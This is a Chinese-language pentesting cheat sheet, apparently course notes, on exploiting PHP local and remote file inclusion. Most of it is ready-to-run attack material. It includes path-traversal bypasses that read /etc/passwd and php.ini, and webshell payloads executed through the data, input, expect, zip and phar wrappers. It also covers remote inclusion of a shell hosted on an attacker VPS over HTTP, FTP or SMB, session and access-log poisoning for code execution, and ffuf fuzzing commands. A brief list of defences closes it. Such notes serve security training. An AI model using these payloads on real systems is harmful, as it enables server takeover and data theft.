FILE INCLUSION
LFI
PHP
- include(), include_once(), require(), require_once(), file_get_contents()
NodeJS
- readFile(), write(), render()
Java
- include, import
<c:import url= "<%= request.getParameter('language') %>"/>
.NET
- Response.WriteFile(), @Html.Partial(), Response.WriteFile(), include
Path Traversal
可以尝试../../../../etc/passwd
也可以直接/etc/passwd
基础绕过
文件名前缀,如
include("lang_" . $_GET['language']);
- 可尝试/lang_/../../../../../../etc/passwd(如果路径存在)
文件扩展名后缀,如
include($_GET['language'] . ".php");
- 路径截断(PHP5.4之前):non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
- 空字节注入(PHP5.5之前):/etc/passwd%00
基础替换,如
$language = str_replace('../', '', $_GET['language']);
- 双写绕过即可….//….//….//….//etc/passwd
编码,如URL编码
- 将payload编码即可
路径限制,如
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {include($_GET['language']);}
- Fuzz路径
PHP Filter
php://filter/
- 尝试base64通过LFI读源码 php://filter/read=convert.base64-encode/resource=config
FUZZ php文件
- 可以用FFUF
ffuf -w directory-list-2.3-small.txt:FUZZ -u http://94.237.59.199:36413/FUZZ.php
- 可以用FFUF
PHP Wrapper
PHP Wrapper 是一个设计模式或编程工具,用于封装 PHP 函数或库,以提供额外的功能或简化其使用。它的作用是通过对现有代码进行封装,为开发者提供更简洁、更易用的接口,同时可能添加一些扩展功能,如日志记录、错误处理、输入输出转换等。
Data wrapper:最简单的Wrapper,需要设置里的allow_url_include开启才能利用。
- 如果有LFI漏洞并能读取PHP配置文件,就可以查看是否可以利用Wrapper。
- PHP配置文件一般在
/etc/php/<Version>/apache2/php.ini
- 如,用LFI读取Apache2的PHP7.4配置文件
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
- 然后进行读取
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
- 最后进行RCE
echo '<?php system($_GET["cmd"]); ?>' | base64
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
Input wrapper:也需要allow_url_include开启。使用POST方法。
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
Expect wrapper:一个外部wrapper,需要被手动安装在后台服务器上。可以通过查看配置文件是否包含
expect
,即extension=expect
来看是否可以利用。- 直接通过LFI来RCE:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
- 直接通过LFI来RCE:
RFI
PHP
- include()/include_once(), file_get_contents()
Java
- import
.NET
- @Html.RemotePartial(), include
在PHP中,RFI要求allow_url_include是打开状态,最简单的测试方法就是在参数里加一个远程地址进去
- VPS上开个HTTP服务,托管一个webshell,包含时就http://vpsip:port/webshell.php
- 当HTTP被WAF了,可以VPS上开个FTP服务。
- PHP默认是尝试匿名Auth的,
- 所以可以VPS上
sudo python -m pyftpdlib -p 21
- 然后包含
ftp://<OUR_IP>/shell.php&cmd=id
- 如果FTP不能匿名Auth就包含时显式加用户名和密码
ftp://user:pass@localhost/shell.php&cmd=id
SMB
- 如果系统是Windows的,可以直接用SMB来包含协议,不需要allow_url_include是打开状态。(该方法最好在同一网络中,SMB访问互联网可能默认是关闭的)
- VPS上使用
smbserver.py
(默认允许匿名认证) - 包含时直接用SMB访问
\\<OUR_IP>\share\shell.php&cmd=whoami
LFI-RFI 文件上传
法1 制作图片马
- 大致过程:通过上传来上传马,然后获取马的路径,最后用LFI访问上传的马
制作GIF马
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
如果不知道上传点,可FUZZ出上传路径,进而得到上传文件路径。
法2 制作zip马
- 大致原理:使用zip wrapper执行php代码
- 制作zip马
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
- 此时,shell.jpg仍然会被一些上传方式识别为zip文件(content-type)
- 使用
zip://
的wrapper访问这个zip文件zip://./profile_images/shell.jpg%23shell.php&cmd=id
- 访问shell.jpg这个zip文件中的shell.php(shell.jpg#shell.php)
- 制作zip马
法3 利用Phar wrapper
- 大致过程:使用phar:// wrapper
首先,写一个可被编译为phar文件,生成一个shell.txt文件的shell.php:之后,编译为phar文件,并且重命名为shell.jpg1
2
3
4
5
6
7
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
最后上传后使用phar wrapper执行phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
日志注入
PHP Session投毒
- Linux下:/var/lib/php/sessions/
- Windows下:C:\Windows\Temp
Session的开头为sess_
,可以f12查看自己的session,文件就是sess_<client_session>
可以通过修改Session值(如修改为%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
,即<?php system($_GET["cmd"]);?>
)再多传一个get cmd参数就行了
注:这样的投毒一般只能完成一次指令,想要运行其它指令需要再次投毒。可以通过反向shell、写webshell等方式实现持久化。
Server Log投毒
Apache和Nginx都有log文件,如access.log、error.log等。
- Nginx的log可以被低权限用户读(如www-data)
- Apache的log如果没有配置错误的话,只能被权限用户读(root/adm组)
Apache的log默认路径
- Linux /var/log/apache2/
- Windows C:\xampp\apache\logs\
Nginx的log默认路径
- Linux /var/log/nginx/
- Windows C:\nginx\log\
可以用Seclists的LFI FUZZ来fuzz路径
以access.log为例,access.log为Nginx和Apache都有的log文件,其中含有请求时间、IP 地址、请求的 URL、响应状态码、浏览器用户代理等内容(可能文件会非常大)
- 首先确定LFI能访问到该log。
- 如果能访问到,可以通过修改包头的字段(如使用BurpSuite修改包头的UA为一句话木马)将恶意内容添加到该log。
- 也可以直接curl:
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"
- 也可以直接curl:
- 使用LFI访问被投毒的log实现RCE。
自动化检测LFI
使用ffuf测试web应用程序存在的参数
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
使用ffuf测试某参数是否存在LFI
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
Fuzz系统文件
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
服务器配置和log文件
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
防御LFI
- 使用PHP函数:
basename()
- 在php.ini中将
allow_url_include
关闭 - 在php.ini中设置
open_basedir
- 在php.ini中设置
disable_functions
,将system()
函数禁用 - 使用WAF